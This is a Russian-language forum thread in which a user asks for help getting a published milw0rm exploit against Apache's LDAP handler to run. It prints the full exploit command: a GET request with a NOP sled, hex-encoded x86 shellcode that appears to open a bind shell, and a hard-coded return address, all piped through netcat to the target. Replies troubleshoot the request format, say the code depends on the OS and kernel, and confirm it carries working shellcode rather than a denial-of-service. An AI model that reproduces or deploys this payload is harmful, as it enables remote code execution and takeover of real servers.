Помогите разобраться с эксплойтом - http://milw0rm.com/exploits/2237 Пытаюсь его запустить но сервер в ответ пишет HTTP/1.1 400 Bad Request Я так понимаю в этой строке: Code: echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\ закралась лишняя кавычка, но вот какая именно не уловлю.
Не помогло. Code: echo -ne my_string_for_print работает так же как и Code: echo -ne "my_string_for_print"
Code: echo -ne "GET /kung/ldap://localhost/%90%90%90%90%90%90%90%90%90%90%90\ %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\ %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\ %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\ %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\ %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%89%e6\ %31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\ %01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\ %31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\ %b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\ %c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\ %23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\ %08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\ %cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\ %77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\ Host: $host\r\n\r\n" | nc $host 80 Такая штука тоже не работает. Даже с удалёнными CCCCCCCCCC.... пробовал так: Code: nc <host> <port> <тут мессага хосту> Если в месседже после GET <uri> есть пробел, то сразу выбрасывается <TITLE>400 Bad Request</TITLE> Как же тогда выполнить экспойт с его Code: HTTP/1.1\r\n\ Host: $host\r\n\r\n Что вообще ЭТО делает
Это сетевая этика. Чтобы клиент и сервер понимали друг друга и не было путаницы, было введено использовать возврат каретки и переход на новую строку. ldap обработчик в апаче по дефолту, вроде, отключен, поэтому не вызывается уязвимая функция. Если бы даже он был включен, вероятность выполнения это эксплойта была бы ничтожна мала, т.к. адрес возврата задан для определенной ОС(в данном случае debian). Так что, тебе придется сначала найти эту уязвимость, проэксплуатировать, написать версии для разных ОС и только потом уже использовать =) enjoy
Я не силен в программировании, но зачем нужен адрес возврата для DoS експлойта? Записать в память кашу можно и не зная его...
И еще - разве такие вещи не зависят от ядра? Т.е. ясное дело, что такой сплойт не подойдет к соляре, но разьве он не будет работать скажем на ВСЕХ линухах с одинаковым ядром?
Адрес возврата нужен чтобы передать по нему управление. И с чего ты решил, что это DoS эксплойт? Присутствует вполне рабочий шелкод, ноп след. Да зависит от ядра. Если они идентичны, то и адрес возврата можно брать из фиксированного диапазона адресов.